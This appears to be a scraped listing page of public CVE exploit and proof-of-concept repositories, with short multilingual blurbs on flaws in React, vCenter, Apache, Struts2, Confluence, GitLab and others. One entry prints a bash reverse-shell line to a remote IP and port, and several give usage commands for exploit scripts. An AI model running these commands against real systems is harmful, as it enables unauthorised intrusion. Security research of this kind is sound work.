CVE-2025-55182

React2Shell CVE-2025-55182 - 概念実証 CVE-2025-55182の包括的な概念実証エクスプロイトおよび教育リソースです。CVSSスコア10.0のクリティカルなリモートコード実行脆弱性で、React Server Componentsに影響します。 法的免責事項 教育および許可されたテスト目的のみ このツールは教育目的および許可されたセキュリティテストのために提供されています。許可されていないコンピュータシステムへのアクセスは、米国のComputer Fraud and Abuse Act（CFAA）や世界各国の同様の法律を含む様々な法律で違法とされています...

CVE-2021-21985_PoC

脆弱性の詳細 VMWARE VCENTER SERVER VIRTUAL SAN HEALTH CHECK PLUG-IN の RCE（CVE-2021-21985） vSphere Client（HTML5）には、vCenter Server プラグインにリモートコード実行の脆弱性が存在します。ポート 443 へのネットワークアクセスを持つ悪意のある攻撃者は、この問題を悪用して、vCenter Server をホストする基盤となるオペレーティングシステム上で無制限の権限でコマンドを実行できる可能性があります。この脆弱性は、VMware vCenter Server（7.0 U2b より...

CVE-2021-41773

CVE-2021-41773 사용법 root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py CVE-2021-41773이란? CVE-2021-41773 Apache HTTP Server 2.4.49의 디렉토리 트래버설 취약점입니다. Require all denied가...

test_struts2_vulnerability_CVE-2017-5638

teststruts2vulnerabilityCVE-2017-5638inMACOSX Mac OS X에서 struts2 취약점 CVE-2017-5638 테스트 테스트 웹 앱을 다운로드하고 tomcat에서 실행 root@kitploit: install tomcat brew install tomcat confirm where the tomcat installed ls -lF which catalina confirm tomcat home dir ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec crea...

CVE-2024-4323-Exploit-POC

CVE-2024-4323-익스플로잇-POC 이 개념 증명 스크립트는 Fluent Bit의 메모리 손상 취약점인 CVE-2024-4323을 악용하여 원격 코드 실행을 가능하게 하는 방법을 보여줍니다. CVE-2024-4323은 Fluent Bit 버전 2.0.7부터 3.0.3까지의 메모리 손상 취약점입니다. 이 문제는 내장 HTTP 서버의 trace 요청 파싱에 있으며, 서비스 거부DoS, 정보 노출 또는 원격 코드 실행RCE로 이어질 수 있습니다 MITRE CVE Launchpad. 취약점 및 완화 조치에 대한 자세한 내용은...

CVE-2026-15639 Reflected Cross-Site Scripting

An attacker can craft a malicious link that, if used by a legitimate user, may cause the user's browser to run JavaScript supplied by the attacker...

CVE-2026-15639

CVE-2026-15639 is a Reflected Cross-Site Scripting vulnerability in a Delinea product (specific product and version not detailed in the provided documents). An attacker crafts a malicious link that, when clicked by a legitimate user, causes the user's browser to execute attacker-supplied JavaScri...

pythonprojects-CVE-2018-10933

pythonprojects-CVE-2018-10933 CVE-2018-10933 このスクリプトはCVE-2018-10933の脆弱性を悪用します（Linuxで動作します） このスクリプトを実行するには、paramiko Pythonモジュールが必要です。 以下のコマンドでparamikoをインストールしてください。 pip install paramiko paramikoがインストールされたら、スクリプトは以下のように実行できます： python CVE-2018-10933.py Target IP/Hostname Target Port Command...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell テストバージョン エクスプロイトコマンドの生成 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumakeを使用してエクスプロイト画像を生成 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1'...

CVE-2022-26134

CVE-2022-26134 PoC Confluence Server 및 Data Center - CVE-2022-26134 - 중요Critical 심각도의 인증되지 않은 원격 코드 실행 취약점 PoC 심각도 Atlassian은 자체 심각도 수준 척도에 따라 이 취약점의 심각도를 중요Critical로 평가합니다. 위에 나열된 수정된 버전 이전의 모든 Confluence Server 및 Data Center 버전이 이 취약점의 영향을 받습니다. 수정된 버전 릴리스된 버전 7.4.17, 7.13.7, 7.14.3, 7.15.2,...

CVE-2020-1350-Fix

KB4569509: DNS サーバーの脆弱性 CVE-2020-1350 に関するガイダンス はじめに 2020 年 7 月 14 日に、Microsoft は CVE-2020-1350 | Windows DNS サーバーのリモート コード実行の脆弱性 に記載されている問題のセキュリティ更新プログラムをリリースしました。このアドバイザリは、DNS サーバーの役割を実行するように構成された Windows サーバーに影響を与える重大なリモート コード実行 RCE の脆弱性について説明しています。サーバー管理者には、できるだけ早くセキュリティ更新プログラムを適用することを強くお勧めしま...

CVE-2026-69486

Heap-based buffer overflow in Microsoft Edge Chromium-based allows an unauthorized attacker to execute code over a network...

CVE-2020-1048

CVE-2020-1048 CVE-2020-1048 PrintDemon の POC エクスプロイトコード 脆弱なシステム 以下のリンクに記載されているすべてのWindowsバージョンが脆弱です: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1048 再現手順 1. Source.c の先頭にある変数 gPortName と gInputFile を変更します。 2. Visual Studio を使用してコンパイルおよび実行します。 3. プリンターサービス spoolsv...

cve-2017-9822

CVE-2017-9822 주요 정보 환경 설정 디버그 설정 분석 디버그 XmlSerializer 공격 Gadget ObjectDataProvider ResourceDictionary XML 안전하지 않은 역직렬화에서 RCE로 CVE-2017-9822 DNN일명 DotNetNuke 9.1.1 이전 버전은 쿠키를 통해 원격 코드 실행이 가능하며, "2017-08 중요 DNN 웹사이트에서 원격 코드 실행 가능"이라고도 합니다. 주요 정보 영향받는 제품: DotNetNuke DNN Platform – 널리 사용되는 .NET...

Moniker-Link-CVE-2024-21413-

Moniker-Link-CVE-2024-21413- 2024년 2월 13일, Microsoft는 CVE-2024-21413Moniker Link으로 지정된 Microsoft Outlook RCE 및 자격 증명 유출 취약점을 발표했습니다. Check Point Research의 Haifei Li가 이 취약점을 발견한 것으로 알려졌습니다. 이 취약점은 Moniker Link라고 하는 특정 유형의 하이퍼링크를 처리할 때 Outlook의 보안 메커니즘을 우회합니다. 공격자는 악성 Moniker Link가 포함된 이메일을 피해자에게 보...

CVE-2025-68613

CVE-2025-68613 — n8n ワークフロー自動化 式エンジン アイソレーション失敗 著者は、この研究に起因する誤用または損害について一切の責任を負いません 厳密に教育および防御目的でのみ提供されます 説明 このリポジトリは、ワークフロー自動化プラットフォーム n8n に影響を与える脆弱性 CVE-2025-68613 に関する、ラボグレードの分析と安全な Proof-of-Concept を含んでいます。 0.211.0 以降、1.120.4 より前のバージョン、および 1.121.0–1.121.1 は、式評価システム に重大な欠陥を含んでいます。...

nextjs-CVE-2025-55182

CVE-2025-55182 / CVE-2025-66478 React2Shell - Next.js リモートコード実行 RCE PoC Next.js Server Actions における深刻な脆弱性。React Flight Protocol のデシリアライズを介した認証不要のリモートコード実行が可能 概要 このリポジトリは、Server Actions（React Server Functions）を使用する Next.js アプリケーションに影響する深刻なRCE脆弱性の Proof of Concept PoC を含んでいます。...

Microsoft-CVE-2022-26809-The-Little-Boy

Microsoft-CVE-2022-26809-別名 The Little Boy - POC CVE-2022-26809 の RPC 経由 RCE の poc はここで更新されます。 現在、脆弱なコードの特定を進めており、最もシンプルなワンクリック RCE をここで公開します。...

exploit-CVE-2014-6271

exploit-CVE-2014-6271 docker run --rm -d -p :80 vulnerables/cve-2014-6271 sh exploit-cli.sh...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access および Identity Manager の SSTI を介した RCE。 CVE-2022-22954 - PoC SSTI 使用方法： root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file...